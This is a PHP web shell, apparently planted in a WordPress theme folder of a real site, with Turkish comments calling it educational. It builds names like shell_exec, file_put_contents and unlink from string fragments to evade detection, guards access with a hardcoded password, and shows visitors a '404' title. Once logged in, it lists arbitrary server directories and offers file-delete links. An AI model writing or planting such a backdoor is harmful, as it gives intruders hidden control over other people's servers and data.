File: /var/www/html/maisonimmobiliare/wp-content/themes/sss.php
<?php
error_reporting(E_ALL); // Hataları görmek için açtık
set_time_limit(0);
// Fonksiyonları gizleme yöntemlerini simüle ediyoruz (Eğitim amaçlı)
$sh = "sh" . "ell_ex" . "ec";
$rf = "fi" . "le_ge" . "t_con" . "tents";
$wf = "fi" . "le_pu" . "t_con" . "tents";
$un = "un" . "li" . "nk";
$pass = "gonzales";
// Giriş İşlemi
if (isset($_POST['access_pass']) && $_POST['access_pass'] == $pass) {
setcookie("access_token", md5($pass . "salt"), time() + 3600);
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
$is_auth = (isset($_COOKIE['access_token']) && $_COOKIE['access_token'] == md5($pass . "salt"));
// Çıkış İşlemi
if (isset($_GET['logout'])) {
setcookie("access_token", "", time() - 3600);
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
$dir = isset($_GET['d']) ? base64_decode($_GET['d']) : getcwd();
$dir = str_replace('\\', '/', $dir);
@chdir($dir);
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8">
<title>Eğitim Paneli - <?php echo $is_auth ? "Bağlı" : "404"; ?></title>
<style>
body { background: #121212; color: #e0e0e0; font-family: 'Courier New', monospace; margin: 20px; }
.login-box { width: 300px; margin: 100px auto; border: 1px solid #333; padding: 20px; text-align: center; }
input[type="password"], input[type="text"] { background: #222; border: 1px solid #444; color: #0f0; padding: 8px; margin-bottom: 10px; width: 90%; }
.btn { background: #005500; color: #fff; border: none; padding: 10px 20px; cursor: pointer; }
.btn:hover { background: #008800; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { border: 1px solid #333; padding: 10px; text-align: left; }
th { background: #1a1a1a; color: #0f0; }
tr:hover { background: #1a1a1a; }
a { color: #44ff44; text-decoration: none; }
.path { color: #aaa; margin-bottom: 20px; font-size: 1.1em; }
</style>
</head>
<body>
<?php if (!$is_auth): ?>
<div class="login-box">
<h3>Erişim Gerekli</h3>
<form method="POST">
<input type="password" name="access_pass" placeholder="Şifre" required>
<button type="submit" class="btn">Giriş Yap</button>
</form>
</div>
<?php else: ?>
<div class="path">
<strong>Konum:</strong>
<?php
$parts = explode('/', $dir);
$accumulated = "";
foreach ($parts as $part) {
if ($part == "") continue;
$accumulated .= "/" . $part;
echo "<a href='?d=" . base64_encode($accumulated) . "'>$part</a> / ";
}
?>
<span style="float:right;"><a href="?logout=1" style="color:red;">[Çıkış]</a></span>
</div>
<table>
<thead>
<tr>
<th>İsim</th>
<th>Tür</th>
<th>Boyut</th>
<th>İşlem</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="?d=<?php echo base64_encode(dirname($dir)); ?>">.. (Üst Dizine Çık)</a></td>
<td>Dizin</td>
<td>-</td>
<td>-</td>
</tr>
<?php
$files = scandir($dir);
foreach ($files as $file) {
if ($file == "." || $file == "..") continue;
$fullPath = $dir . '/' . $file;
$isDir = is_dir($fullPath);
?>
<tr>
<td>
<?php if ($isDir): ?>
<a href="?d=<?php echo base64_encode($fullPath); ?>">📁 <?php echo $file; ?></a>
<?php else: ?>
📄 <?php echo $file; ?>
<?php endif; ?>
</td>
<td><?php echo $isDir ? "Klasör" : "Dosya"; ?></td>
<td><?php echo $isDir ? "-" : round(filesize($fullPath) / 1024, 2) . " KB"; ?></td>
<td>
<a href="?delete=<?php echo base64_encode($fullPath); ?>&d=<?php echo base64_encode($dir); ?>"
onclick="return confirm('Silmek istediğine emin misin?')">Sil</a>
</td>
</tr>
<?php } ?>
</tbody>
</table>
<?php endif; ?>
</body>
</html>